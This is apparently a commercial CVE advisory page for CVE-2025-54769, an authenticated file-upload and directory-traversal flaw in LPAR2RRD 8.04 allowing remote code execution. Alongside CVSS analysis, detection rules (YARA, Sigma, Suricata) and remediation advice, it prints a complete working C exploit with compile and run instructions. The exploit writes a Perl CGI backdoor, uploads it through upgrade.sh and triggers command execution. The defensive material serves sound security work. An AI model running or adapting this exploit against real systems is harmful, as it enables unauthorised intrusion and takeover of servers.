☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-54769

CVE-2025-54769 is a critical vulnerability in SolarWinds LPAR2RRD (version 8.
📅 PUBLISHED: 2025-07-28 23:34 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.04%
👁️
3.04% probability
76.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54769 is a critical vulnerability in SolarWinds LPAR2RRD (version 8.04 and possibly others) that allows an authenticated, read-only user to achieve remote code execution (RCE). The vulnerability combines a file upload flaw with a directory traversal weakness. An attacker can upload a malicious Perl script via the application's upgrade endpoint and, by manipulating the file path, place it into a CGI-executable directory. Once placed, the attacker can trigger the script to execute arbitrary system commands. The public exploit code, authored by "Byte Reaper," demonstrates a full exploitation chain: uploading a Perl backdoor, then invoking it to execute commands like whoami. The CVSS score is estimated at 8.8 (High) due to network attack vector, low privileges required, and high impact on confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a standalone application (LPAR2RRD). The supply chain risk is limited to the application's own update mechanism, which is abused in this exploit. No open-source patch data is available from OSV or GitHub.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - An authenticated read-only user is sufficient.
  • User Interaction (UI): None (N) - No user action is needed beyond the attacker's own.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) - Full system compromise leads to data exposure.
  • Integrity (I): High (H) - Arbitrary file overwrite and code execution.
  • Availability (A): High (H) - An attacker could disrupt services.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Base Score: 8.8 (High)

Threat Level: Critical. The public availability of a working exploit and the low privileges required make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the LPAR2RRD web interface, specifically in the upgrade functionality (/lpar2rrd-cgi/upgrade.sh). The application fails to properly validate the file path during the upload process.

  1. File Upload: The upgrade.sh endpoint accepts file uploads via a POST request with a multipart form. The parameter upgfile contains the file data.
  2. Directory Traversal: The application does not sanitize the filename or the destination path. An attacker can include path traversal sequences (e.g., ../) in the filename or in a related parameter to write the uploaded file outside the intended upload directory.
  3. Perl Module Overwrite: The attacker targets a CGI-executable directory (e.g., /lpar2rrd-cgi/). By using a filename like ../../lpar2rrd-cgi/users.pl, the file is written to the CGI directory.
  4. Remote Code Execution: Once the malicious Perl script is in place, the attacker sends a GET request to the script's URL (e.g., /lpar2rrd-cgi/users.sh?cmd=commandLinux). The script executes the command and returns the output.

The exploit code from "Byte Reaper" automates this:

  • It creates a Perl script (users.pl) that accepts a cmd parameter and executes it via qx().
  • It uploads this script to the target using a POST request to /lpar2rrd-cgi/upgrade.sh.
  • It then sends a GET request to /lpar2rrd-cgi/users.sh?cmd=commandLinux to trigger the backdoor and retrieve the output.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the upgrade.sh CGI script. A secure implementation would:

  • Validate the file path: Ensure the destination path is within an allowed directory (e.g., using a whitelist).
  • Sanitize the filename: Remove or reject path traversal characters (../, ..\\).
  • Restrict file types: Only allow specific file extensions (e.g., .tar.gz for upgrades).
  • Use a secure file upload library: Implement a library that handles path sanitization automatically.

Vulnerable Code (Conceptual):

#!/bin/bash
# Vulnerable upgrade.sh
UPLOAD_DIR="/tmp/upgrades"
# No path validation
mv "$TMP_FILE" "$UPLOAD_DIR/$FILENAME"

Patched Code (Conceptual):

#!/bin/bash
# Patched upgrade.sh
UPLOAD_DIR="/tmp/upgrades"
# Sanitize filename
SAFE_FILENAME=$(basename "$FILENAME")
# Remove path traversal
SAFE_FILENAME="${SAFE_FILENAME//..\//}"
SAFE_FILENAME="${SAFE_FILENAME//..\\/}"
# Validate extension
if [[ "$SAFE_FILENAME" != *.tar.gz ]]; then
    echo "Invalid file type"
    exit 1
fi
mv "$TMP_FILE" "$UPLOAD_DIR/$SAFE_FILENAME"

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  1. Install LPAR2RRD 8.04 on a Linux VM (e.g., Ubuntu 22.04).
  2. Create a read-only user account.
  3. Ensure the web interface is accessible.

Exploitation Steps:

  1. Compile the exploit: The provided C code requires libcurl and argparse. Compile with:
    gcc -o exploit exploit.c -lcurl -largparse
    
  2. Authenticate: Obtain a valid session cookie for the read-only user.
  3. Run the exploit:
    ./exploit -i <TARGET_IP> -p 443 -t https -c cookies.txt -v
    
    • -i: Target IP address.
    • -p: Port (default 443 for HTTPS).
    • -t: Protocol (http or https).
    • -c: Path to cookies file.
    • -v: Verbose mode (optional).
  4. Verify: The exploit will output the result of the whoami command, confirming RCE.

Full Exploit Code (from Byte Reaper):

/*
 * Author       : Byte Reaper
 * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
 * CVE          : CVE-2025-54769
 * Vulnerability: RCE && directory traversal
 * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint,
 * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
 */

 #include <stdio.h>
 #include <stdlib.h>
 #include <curl/curl.h>
 #include "argparse.h"
 #include <string.h>
 #include <time.h>
 #include <arpa/inet.h>
 #define FULL 2500

 void sleepAssembly()
 {
     struct timespec s ;
     s.tv_sec = 0;
     s.tv_nsec = 500000000;

     __asm__ volatile
     (
         "mov $35, %%rax\n\t"
         "xor %%rsi, %%rsi\n\t"
         "syscall\n\t"
         :
         : "D" (&s)
         : "rax",
           "rsi",
           "memory"
        );
 }
 void syscallLinux()
 {
     __asm__ volatile
     (
         "mov $0x3C, %%rax\n\t"
         "xor %%rdi, %%rdi\n\t"
         "syscall\n\t"
         :
         :
         :"rax", "rdi"
     );
 }
 int fileS = 0;
 int useCookies = 0;
 int verboseMode = 0;
 const char *cookies;
 const char *ip = NULL;
 int portService = 0;
 int port = 0;
 int protocolS = 0;
 const char  *protocol = NULL;
 int CreateFilePerl()
 {
    FILE *fileP = fopen("users.pl", "w");
    if (fileP == NULL)
    {
        printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("[+] Create File Successfully\n");
    char payloadContent[7000];
    int payload = snprintf(payloadContent,
         sizeof(payloadContent),
     "#!/usr/bin/perl\n"
                 "use strict;\n"
                 "use warnings;\n"
                 "use CGI;\n"
                 "my $q   = CGI->new;\n"
                 "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
                 "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
                 "{\n"
                         "\tprint \"Content-type: text/html\\n\\n\";\n"
                         "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
                         "\tprint $commandW;\n"
                 "}\n"
        );
    if (payload < 0 || (size_t)payload >= sizeof(payloadContent))
    {
        fprintf(stderr,
            "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
        syscallLinux();
    }

    size_t e = strlen(payloadContent);
    unsigned long writeLen = fwrite(payloadContent,
         1, strlen(payloadContent),
          fileP);
    if (writeLen != e)
    {
        printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
    fclose(fileP);
    return 1;
}
const char *resultCommand[] =
{
    "root",
    "admin",
    "user",
    "ssh",
    "/home/",
    NULL
};

struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr,
    size_t size,
    size_t nmemb,
    void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        syscallLinux();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
    struct Mem responseGet ;
    responseGet.buffer = NULL;
    responseGet.len = 0;
    CURLcode codeLib;
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
              ? port
           : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, sizeof(full),
                  "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
                     proto, targetIP, prt);
    if (n < 0 || (size_t)n >= sizeof(full))
    {
         fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
         syscallLinux();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
    sleepAssembly();
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);

    if (useCookies)
    {
         curl_easy_setopt(curl,
            CURLOPT_COOKIEFILE,
            cookies);
         curl_easy_setopt(curl,
             CURLOPT_COOKIEJAR,
             cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                CURLOPT_VERBOSE,
                         1L);
    }

    printf("\e[1;37m[+] GET URL: %s\e[0m\n",
        full);
    struct curl_slist *headers = NULL;
     headers = curl_slist_append(headers ,
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    headers = curl_slist_append(headers,
         "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers,
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers,
        "Upgrade-Insecure-Requests: 1");
    headers = curl_slist_append(headers,
        "Sec-Fetch-Dest: document");
    headers = curl_slist_append(headers,
        "Sec-Fetch-Mode: navigate");
    headers = curl_slist_append(headers,
        "Priority: u=0, i");
    headers = curl_slist_append(headers,
        "Pragma: no-cache");
    headers = curl_slist_append(headers,
        "Cache-Control: no-cache");
    headers = curl_slist_append(headers,
        "Connection: keep-alive");
    curl_easy_setopt(curl,
        CURLOPT_HTTPHEADER,
        headers);
    codeLib = curl_easy_perform(curl);
    curl_slist_free_all(headers);
    if (codeLib == CURLE_OK)
    {
        printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
        long codeH = 0;
        curl_easy_getinfo(curl,
            CURLINFO_RESPONSE_CODE,
             &codeH);

        printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
        printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
        if (responseGet.buffer)
        {
            if (verboseMode)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");

                printf("%s\n", responseGet.buffer);
                printf("\e[1;35m===================================================================================================================\e[0m\n");
            }
        }

        if (codeH >= 200 && codeH < 300)
        {
            printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
            printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
            if (responseGet.buffer)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
                        responseGet.len);
                    printf("\e[1;35m===================================================================================================================\n");
                for (int j = 0; resultCommand[j]; j++)
                {
                    if (strstr(responseGet.buffer, resultCommand[j]))
                    {
                        printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
                        printf("\e[1;34m[+] Word : %s\e[0m\n",
                                resultCommand[j]);
                        printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
                    }
                    else
                    {
                        if (verboseMode)
                        {
                            printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n",
                                resultCommand[j]);
                        }
                        else
                        {
                            continue;
                        }

                    }

                }
            }
            else
            {
                printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
                if (verboseMode)
                {
                    printf("\e[1;31m[-] Exit Syscall\e[0m\n");
                }
            }
        }
        else
        {
            printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
            if (verboseMode)
            {
                if (responseGet.buffer)
                {
                    printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
                    printf("\e[1;35m\n=============================================================================================\e[0m\n");
                }
            }
        }
    }
    else
    {
        fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
        syscallLinux();
    }

    free(responseGet.buffer);
    responseGet.buffer = NULL;
    responseGet.len = 0;
    curl_easy_cleanup(curl);
}

void remoteCode(const char *ipS)
{

    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    CURLcode codeLibCurl;
    if (verboseMode)
    {
        printf("\e[1;35m================================== [Value Response] ==================================\n");
        printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
        printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
        printf("\e[1;35m=======================================================================================\n");
    }
    if (!curl)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
        syscallLinux();
    }
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
               ? port
               : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full,
        sizeof(full),
                      "%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
                      proto, ipS, prt);
     if (n < 0 || (size_t)n >= sizeof(full))
     {
        fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
        syscallLinux();
     }


    if (!CreateFilePerl())
    {
        fprintf(stderr,
            "\e[1;31m[-] Failed to create File users.pl\e[0m\n");
        syscallLinux();
    }

    printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);

    curl_mime *form = curl_mime_init(curl);
    curl_mimepart *field = curl_mime_addpart(form);
    curl_mime_name(field,
        "upgfile");
    curl_mime_filedata(field,
         "users.pl");
    curl_mime_filename(field,
         "users.pl");
    curl_mime_type(field,
         "application/x-perl");
    curl_easy_setopt(curl,
         CURLOPT_URL,
         full);
    curl_easy_setopt(curl,
         CURLOPT_POST,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_MIMEPOST, form);
    curl_easy_setopt(curl,
        CURLOPT_WRITEFUNCTION,
        write_cb);
    curl_easy_setopt(curl,
         CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl,
        CURLOPT_FOLLOWLOCATION,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_CONNECTTIMEOUT,
         5L);
    sleepAssembly();
    curl_easy_setopt(curl,
        CURLOPT_TIMEOUT,
        10L);

    if (useCookies)
    {
        curl_easy_setopt(curl,
            CURLOPT_COOKIEFILE,
             cookies);
        curl_easy_setopt(curl,
            CURLOPT_COOKIEJAR,
            cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                       1L);
    }

    struct curl_slist *headers = NULL;
    char host[128];
    int lenIp = snprintf(host ,
        sizeof(host),
       "Host: %s:%d",
              ipS, prt);
    if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
    {
        printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
        syscallLinux();
    }
    headers = curl_slist_append(headers,
        "Accept: */*");
    headers = curl_slist_append(headers,
        "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers,
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers,
        "X-Requested-With: XMLHttpRequest");
    headers = curl_slist_append(headers,
        "Connection: keep-alive");
    headers = curl_slist_append(headers,
        "Priority: u=0");
    headers = curl_slist_append(headers, "Authorization: <base64-credentials>");
    headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
    headers = curl_slist_append(headers ,
         host);
    void *m = memset(host , 0, sizeof(host));
    if (m == NULL)
    {
        fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
        syscallLinux();
    }
    int lenO = snprintf(host ,
        sizeof(host),
         "Origin: https://%s:%d",
            ipS, prt);
    if (lenO < 0 || (size_t)lenO >= sizeof(host))
    {
        syscallLinux();
    }
    headers = curl_slist_append(headers,
        host);
    curl_easy_setopt(curl,
    CURLOPT_HTTPHEADER,
        headers);

    codeLibCurl = curl_easy_perform(curl);
    curl_mime_free(form);
    curl_slist_free_all(headers);

    if (codeLibCurl != CURLE_OK)
    {
        fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
            curl_easy_strerror(codeLibCurl));
        syscallLinux();
    }
    long httpCode = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
        &httpCode);
    printf("\e[1;36m[+] Protocol  : %s\e[0m\n", protocol);
    printf("\e[1;36m[+] Port : %d\e[0m\n", port);
    printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
    if (httpCode >= 200 && httpCode < 300)
    {
        printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
        if (response.buffer)
        {
            printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
            printf("%s\n", response.buffer);
            printf("\e[1;32m    [+] Len Response : %zu\e[0m\n",response.len);
            printf("\e[1;35m\n=============================================================================================\e[0m\n");
            if (strstr(response.buffer, "This file doesn't look like the upgrade package"))
            {
                printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
                printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
                printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
                getRequest(curl, ipS);
            }
        }
        else
        {
            fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
            fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
            if (verboseMode)
            {
                    fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
            }
            syscallLinux();
        }
    }
    else
    {
        printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
        if (verboseMode)
        {
            if (response.buffer)
            {
                printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[1;32m[-] Len Response : %zu\n",response.len);
                printf("\e[1;35m\n=============================================================================================\e[0m\n");
            }
        }
    }


    free(response.buffer);
    response.buffer = NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
}


int main(int argc,
    const char **argv)
{
     printf(
         "\e[1;31m"
         "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖  \n"
         "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌  \n"
         "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌ ▌▙▌▄▌  \n"
                "\e[1;37m\t\tByte Reaper\n"
    );
    curl_global_init(CURL_GLOBAL_DEFAULT);
    printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");

    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ip,
                    "Enter Target IP"),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_INTEGER('p',
             "port",
             &port ,
             "Enter Target Port Service"),
        OPT_STRING('t',
              "protocol",
              &protocol,
             "Enter Protocol Service (http / https)"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verboseMode,
                     "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                   options,
                   NULL,
                   0);

    argparse_parse(&argparse,
                    argc,
                    argv);
    in_addr_t q = inet_addr(ip);
    if (q == INADDR_NONE)
    {
            printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
            syscallLinux();
    }
    if (!ip)
    {
        fprintf(stderr,"\e[1;31m[-] Please Enter Target IP  !\e[0m\n");

        fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
        syscallLinux();
    }
    if (verboseMode)
    {
        verboseMode = 1;
    }
    if (cookies)
    {
        useCookies = 1;
    }
    if (port)
    {
        portService = 1;
    }
    if (protocol)
    {
        protocolS = 1;
    }
    remoteCode(ip);
    curl_global_cleanup();
    return 0;
 }

Blue Team (Defender)

Detection:

  1. Monitor File Uploads: Alert on POST requests to /lpar2rrd-cgi/upgrade.sh with unusual filenames (containing ../ or non-standard extensions).
  2. Monitor CGI Access: Alert on GET requests to newly created .pl or .sh files in the /lpar2rrd-cgi/ directory, especially those with cmd parameters.
  3. Log Analysis: Look for HTTP 200 responses from upgrade.sh followed by requests to a new CGI script.

Prevention:

  1. Input Validation: Implement strict validation on the upgfile parameter and filename.
  2. File Integrity Monitoring (FIM): Monitor the /lpar2rrd-cgi/ directory for new or modified files.
  3. Web Application Firewall (WAF): Deploy rules to block path traversal sequences in file uploads.
  4. Least Privilege: Ensure the web server runs with minimal permissions.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST request to /lpar2rrd-cgi/upgrade.sh with a multipart form containing a file named users.pl or similar.
    • GET request to /lpar2rrd-cgi/users.sh?cmd=commandLinux or similar.
    • Outbound connections from the server to an attacker-controlled IP (for reverse shell).
  • File System IOCs:
    • Presence of unexpected Perl scripts in /lpar2rrd-cgi/ (e.g., users.pl, cmd.pl).
    • Modified timestamps on files in /lpar2rrd-cgi/.
  • Process IOCs:
    • Unusual processes spawned by the web server user (e.g., whoami, id, bash).

Detection Engineering

YARA Rule

rule CVE_2025_54769_Perl_Backdoor {
    meta:
        description = "Detects Perl backdoor scripts used in CVE-2025-54769 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54769"
    strings:
        $cmd_param = "cmd" nocase
        $qx_exec = "qx(" nocase
        $cgi_new = "CGI->new" nocase
        $whoami = "whoami" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-54769 - LPAR2RRD File Upload and RCE
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-54769 via file upload and CGI access.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-stem: '/lpar2rrd-cgi/upgrade.sh'
        cs-uri-query|contains: 'upgfile'
    selection_cgi:
        cs-method: 'GET'
        cs-uri-stem|endswith:
            - '.pl'
            - '.sh'
        cs-uri-query|contains: 'cmd='
    condition: selection_upload followed by selection_cgi within 5 minutes
falsepositives:
    - Legitimate upgrade processes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54769 LPAR2RRD File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/lpar2rrd-cgi/upgrade.sh"; http_uri; content:"upgfile"; http_client_body; pcre:"/filename=\".*\.pl\"/i"; classtype:attempted-admin; sid:1000001; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-54769 LPAR2RRD RCE Trigger"; flow:to_client,established; content:"GET"; http_method; content:"/lpar2rrd-cgi/"; http_uri; pcre:"/\.(pl|sh)\?cmd=/i"; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

  1. Immediate Action: If possible, disable the upgrade functionality (/lpar2rrd-cgi/upgrade.sh) until a patch is available.
  2. Vendor Patch: Apply the official patch from SolarWinds as soon as it is released.
  3. Workaround:
    • Restrict access to the /lpar2rrd-cgi/ directory using a WAF or web server configuration (e.g., .htaccess).
    • Implement strict input validation on the file upload endpoint.
    • Remove write permissions for the web server user on the CGI directory.
  4. Monitoring: Implement the detection rules provided above to identify exploitation attempts.
  5. User Awareness: Ensure that read-only users are not granted unnecessary privileges.

Valters IT

{/* [Security Hash: 4A0188C260AEE35460078047] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54769/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.